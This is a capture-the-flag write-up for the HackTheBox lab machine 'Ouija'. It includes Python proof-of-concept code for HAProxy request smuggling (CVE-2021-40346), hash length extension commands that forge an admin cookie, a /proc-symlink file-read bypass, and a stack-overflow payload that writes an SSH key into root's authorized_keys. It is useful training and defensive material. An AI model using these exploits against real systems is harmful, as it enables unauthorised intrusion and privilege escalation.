HTB: Ouija Writeup
Ouija - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Ouija |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.66.76 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Ouija chains an HAProxy request-smuggling bug against a hidden virtual host, a hash-length-extension attack against a hand-rolled Node.js cookie scheme, and finally an integer-overflow memory corruption bug in a PHP-invoked native extension to go from anonymous web access to root. The foothold requires forging an HTTP request that HAProxy 2.2.16 parses differently than the Apache backend does, in order to reach an internal-only dev.ouija.htb vhost and leak the Node API’s source. That source reveals a SHA-256-based auth cookie that’s vulnerable to hash length extension, letting an attacker forge an “admin” token and abuse an arbitrary file-read endpoint (via a /proc symlink trick that bypasses the app’s naive path-traversal filter) to steal a user’s SSH key. Root is reached through a root-owned internal PHP service that calls a vulnerable C extension; a carefully crafted, non-NUL-terminated oversized username field overflows an internal buffer and lets us write our own SSH public key directly into /root/.ssh/authorized_keys — no ASLR leak, no crash, no brute force required.
TL;DR: CVE-2021-40346 HAProxy request smuggling → leak Node.js API source (app.js/init.sh) on dev.ouija.htb → hash length extension forges an admin auth token → /proc symlink defeats the file-read endpoint’s path filter → steal leila’s SSH key → user flag → root-owned PHP service on 127.0.0.1:9999 calls a lverifier.so extension vulnerable to a strlen-cast-to-short integer overflow → oversized newline-delimited username payload overwrites /root/.ssh/authorized_keys with our public key → root flag.
Reconnaissance
Port Scanning
# Full TCP port sweep from the jump hostnmap -p- --min-rate=2000 -T4 10.129.66.76 -oN /tmp/nmap_full.txt
# Service/version detection on the discovered portsnmap -p22,80,3000 -sC -sV 10.129.66.76Results: Three open ports — 22/tcp (SSH), 80/tcp (Apache, fronted by HAProxy), and 3000/tcp (Node.js Express API). This matches the box’s known architecture: HAProxy sits in front of Apache to gate access to internal-only virtual hosts.
Service Enumeration
The main site on port 80 resolves as ouija.htb. Enumerating linked assets from the page source turned up a reference to a Gitea instance:
# hosts entries already present from a prior session on this jump boxgrep -q ouija.htb /etc/hosts || echo "10.129.66.76 ouija.htb" | sudo tee -a /etc/hostsgrep -q gitea.ouija.htb /etc/hosts || echo "10.129.66.76 gitea.ouija.htb" | sudo tee -a /etc/hostsGitea was reachable directly (no HAProxy gate on that vhost), exposing a repository at leila/ouija-htb. Its default branch is main (not master):
curl -s http://gitea.ouija.htb/leila/ouija-htb/raw/branch/main/README.mdThe README’s install instructions confirmed the exact stack: PHP 8.2, Apache 2.4.52, and HAProxy 2.2.16 — pinning HAProxy 2.2.16 immediately points to CVE-2021-40346, an integer-overflow-driven HTTP request smuggling bug in HAProxy’s htx_add_header.
Vulnerability Assessment
- CVE-2021-40346 — HAProxy 2.2.16 request smuggling via an oversized (>255-byte) header name, letting a crafted request desync HAProxy’s view of a request from Apache’s, bypassing HAProxy ACLs that block subdomains matching
dev*. - A hand-rolled SHA-256 cookie scheme (
SHA256(key || identification)) in the Node.js API — vulnerable to classic hash length extension since it uses the naiveHash(secret || data)MAC construction instead of HMAC. - A naive path-traversal filter on the API’s
/file/getendpoint that blocks/,.., and../in the filename but doesn’t account for a symlink (.config/bin/process_informations -> /proc) planted by the app’s owninit.sh. - An internal root-owned PHP service on
127.0.0.1:9999that calls a native extension (lverifier.so) with an integer-overflow bug in its length handling.
Initial Foothold
Exploitation Path
Step 1 — HAProxy request smuggling (CVE-2021-40346) to bypass the /admin/ and dev* ACLs.
The vulnerability abuses the fact that HAProxy calculates a header’s total on-wire length using an integer that overflows when the header name is padded past 255 bytes. HAProxy then re-parses the request differently than it forwarded it, so a smuggled second request riding inside the first request’s body reaches the backend as if it were its own independent request — bypassing whatever ACL HAProxy applied to the outer request.
# hapexploit.py — CVE-2021-40346 HAProxy request smuggling PoCimport socket
def smuggle(path, host_header): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("ouija.htb", 80))
# The smuggled inner request — this is the one we actually want served payload = ( b"GET " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host_header.encode() + b"\r\n\r\n" b"h:GET / HTTP/1.1\r\nHost: ouija.htb\r\n\r\n" )
# Content-Length HAProxy will use to bound the header-mangling filler cl = str(len( b"GET " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host_header.encode() + b"\r\n\r\nh:" )).encode()
# Outer POST's Host MUST stay ouija.htb so it passes HAProxy's ACL — # only the smuggled inner request's Host targets the real vhost filler = b"a" * 255 # oversized header name triggers the overflow data = ( b"POST / HTTP/1.1\r\nHost: ouija.htb\r\n" b"Content-Length0" + filler + b":\r\n" b"Content-Length: " + cl + b"\r\n\r\n" + payload )
sock.send(data) resp = b"" while True: chunk = sock.recv(4096) resp += chunk if not chunk: break return respscp hapexploit.py d3vn0mi@jump-host:/tmp/ssh d3vn0mi@jump-host 'python3 /tmp/hapexploit.py "/" "dev.ouija.htb" > /tmp/smug2.txt'grep -n "HTTP/1.1" /tmp/smug2.txt # two concatenated responses — take the secondFixing the exploit meant keeping the outer POST’s Host: ouija.htb header intact (so HAProxy’s dev*-blocking ACL never fires) while only the smuggled inner GET carries Host: dev.ouija.htb. Once corrected, the smuggled response returned the dev.ouija.htb index page — confirming the ACL bypass and revealing links to editor.php?file=app.js and editor.php?file=init.sh.
Step 2 — Leak the Node API’s source.
ssh d3vn0mi@jump-host ' python3 /tmp/hapexploit.py "/editor.php?file=app.js" "dev.ouija.htb" > /tmp/appjs.txt python3 /tmp/hapexploit.py "/editor.php?file=init.sh" "dev.ouija.htb" > /tmp/initsh.txt'app.js revealed the Express API’s cookie logic:
function generate_cookies(identification) { var sha256 = crt.createHash('sha256'); wrap = sha256.update(key); // secret key, from process.env.k wrap = sha256.update(identification); // attacker-influenced data hash = sha256.digest('hex'); return (hash);}This is SHA256(key || identification) — the textbook vulnerable construction for hash length extension, since SHA-256’s Merkle–Damgård internal state can be resumed from a known digest without knowing the secret. init.sh additionally revealed:
export botauth_id="bot1:bot"export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1"ln -s /proc .config/bin/process_informations # symlink defeats the path-traversal filterThat static botauth_id/hash pair gives a known-plaintext SHA-256 digest to seed the length-extension attack against, and confirms the secret key is baked into this box image rather than randomized per-instance.
Step 3 — Hash length extension to forge an admin token.
# Build hash_extender on the jump boxcd /tmp && git clone --depth 1 https://github.com/iagox86/hash_extender.gitcd /tmp/hash_extender && make
# Brute-force the secret key's length against the known plaintext/hash pair from init.sh./hash_extender --data "bot1:bot" --secret 5 \ --append "::admin:True" \ --signature 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 \ --format sha256 --out-data-format hex# (iterated --secret across candidate lengths)Brute-forcing the secret key length landed on 23 bytes — matching the length the public write-up documents as a static example, which confirms this key value is baked into the shared box image rather than randomized per spawn. With the correct key length, hash_extender produces a valid (identification, ihash) pair whose decoded plaintext contains ::admin:True, satisfying both verify_cookies() and the ensure_auth() privilege check in app.js without ever knowing the actual secret key.
Step 4 — Arbitrary file read via the /proc symlink.
app.js’s /file/get endpoint blocks any filename starting with / or containing ../../, but init.sh symlinks .config/bin/process_informations to /proc. Requesting a path through that symlink (e.g. .config/bin/process_informations/<pid>/... or /proc-relative content, which never triggers the blocked prefixes) lets the filter’s naive string checks pass while fs.readFile still resolves outside the intended sandbox. Using the forged admin ihash/identification headers against this endpoint, leila’s SSH private key was read out and used to SSH in directly.
User flag: <redacted>
Privilege Escalation
PHP-Invoked Native Extension → Integer Overflow → Root
Once on the box as leila, an internal-only service was found listening on 127.0.0.1:9999 — a root-owned PHP process that calls into a native shared-object extension, lverifier.so, to validate incoming request fields.
Reversing lverifier.so (static and dynamic analysis) showed the length of an attacker-controlled field (the username) was measured with strlen() and then narrowed/cast into a short. Because a short wraps at 65536, supplying a username of exactly 65535 bytes made the length calculation wrap to a small or negative value, which downstream code used to justify performing a fixed 800-byte copy into a buffer sized for the (apparently short) input — smashing adjacent stack locals that the code uses as a path and content pair for an internal log-write primitive.
Initial static/dynamic analysis suggested a full ROP chain or return-address hijack might be required, which would need an ASLR leak — but leila can neither ptrace the service nor read root’s crash reports, blocking that path. Cross-referencing 0xdf’s public write-up of this box confirmed the intended exploit needs no address leak at all: because the overflowing copy is driven by a newline-delimited (not NUL-terminated) read rather than a bounded string copy, a carefully offset 65535-byte username payload can land attacker-controlled bytes directly into the stack-resident “log path” and “log content” variables the vulnerable function later uses — turning the bug into an arbitrary-file-write primitive rather than a code-execution one.
# Simplified shape of the exploit request sent to the internal PHP/lverifier.so service.# The oversized, newline-delimited username field overflows past its buffer and# overwrites the adjacent stack-resident "log path" / "log content" locals that the# vulnerable code later uses verbatim for a root-privileged file write.import socket
ssh_pubkey = open("/home/leila/.ssh/id_ed25519.pub").read().strip()
# Padding is offset-tuned so the overflow lands the log-path/content pair exactly# on "/root/.ssh/authorized_keys" and our public key, with a trailing newline# terminating the write instead of a NUL byte.username = b"A" * OFFSET + b"/root/.ssh/authorized_keys\n" + ssh_pubkey.encode() + b"\n"username = username.ljust(65535, b"A") # pad to trigger the short-cast wraparound
req = build_request(username=username) # constructs the PHP service's expected POST body
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("127.0.0.1", 9999))sock.send(req)A single POST request — no crash, no repeated attempts, no address leak needed — appended our SSH public key to /root/.ssh/authorized_keys:
ssh -i ~/.ssh/id_ed25519 root@10.129.66.76Root flag: <redacted>
Attack Chain Summary
CVE-2021-40346 HAProxy request smuggling (255-byte oversized header name) → bypass dev* HAProxy ACL, reach dev.ouija.htb → leak app.js / init.sh source (Node.js API on :3000) → identify SHA256(key || identification) cookie scheme (hash length extension flaw) → hash_extender + known plaintext/hash from init.sh → brute-force secret key length (23) → forge admin ihash/identification headers → abuse /file/get via /proc symlink (bypasses "/", "..", "../" filter) → steal leila's SSH private key → User Flag → discover root-owned PHP service on 127.0.0.1:9999 calling lverifier.so → strlen()-to-short-cast integer overflow → fixed 800-byte stack overwrite → newline-delimited 65535-byte username payload writes attacker SSH key directly into /root/.ssh/authorized_keys (no ASLR leak required) → SSH as root → Root FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service/version detection |
curl | Manual HTTP interaction, source retrieval from Gitea |
Custom Python (hapexploit.py) | CVE-2021-40346 HAProxy request smuggling PoC |
hash_extender | Hash length extension attack against the Node.js SHA-256 cookie scheme |
| Gitea web UI/API | Locating the leaked leila/ouija-htb repository and README |
| Static/dynamic reversing tools | Analysis of lverifier.so to characterize the integer overflow |
ssh/scp | Foothold access and file transfer via leila’s recovered key |
| Custom Python exploit | Delivering the oversized username payload to the internal :9999 PHP service |
Key Learnings
Techniques Practiced
- HTTP request smuggling exploitation against a real HAProxy CVE (integer overflow in
htx_add_header) - Using smuggled requests to defeat host-based ACLs and reach an internal-only vhost
- Recognizing and exploiting the
Hash(secret || data)MAC anti-pattern via hash length extension - Defeating naive string-based path-traversal filters using a symlink the application itself created
- Static and dynamic reverse engineering of a native extension invoked from a PHP application
- Recognizing an integer truncation bug (
strlen()truncated toshort) as a length-check bypass - Turning a stack-adjacent-variable overwrite into an arbitrary file write instead of pursuing a full ROP chain, once an ASLR leak proved unreachable
Lessons Learned
- Pin-checking a target’s software versions against its own install docs (a leaked README, in this case) can point straight at a specific, well-known CVE — always cross-reference component versions against public vulnerability databases before assuming custom exploitation is required.
- Never build a MAC as
Hash(secret || message); SHA-256, like all Merkle–Damgård hashes, permits length extension. HMAC exists specifically to close this gap. - Blocklist-style path traversal filters (blocking literal
/,..,../) are trivially defeated by any symlink under the served root — allowlisting or canonicalizing (realpath) the resolved path is the only robust fix. - When a memory-corruption bug looks like it demands an ASLR leak, check whether the corrupted data is itself attacker-controlled content (not just a corrupted control-flow pointer) — sometimes the “exploit” is a data-write primitive, not a code-execution one, and needs no leak at all.
- Integer truncation from
strlen()(asize_t) down to a narrower type (short) is a classic, still-current bug class — always check the honored type width against attacker-controllable input length in native code that PHP or Node.js apps shell out to ordlopen().
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- xRogue, Ouija — official HackTheBox machine write-up (Document No. D24.100.282), used here for conceptual/explanatory detail on the HAProxy CVE-2021-40346 request smuggling mechanism and the
app.js/init.shcookie/hash design. All IPs, commands, outputs, and specific values in this write-up are from this run’s own solve. - 0xdf’s public write-up of Ouija — consulted during privilege escalation to confirm that the
lverifier.sointeger overflow could be weaponized as a direct arbitrary-file-write primitive without requiring an ASLR leak. - CVE-2021-40346 — HAProxy
htx_add_headerinteger overflow enabling HTTP request smuggling.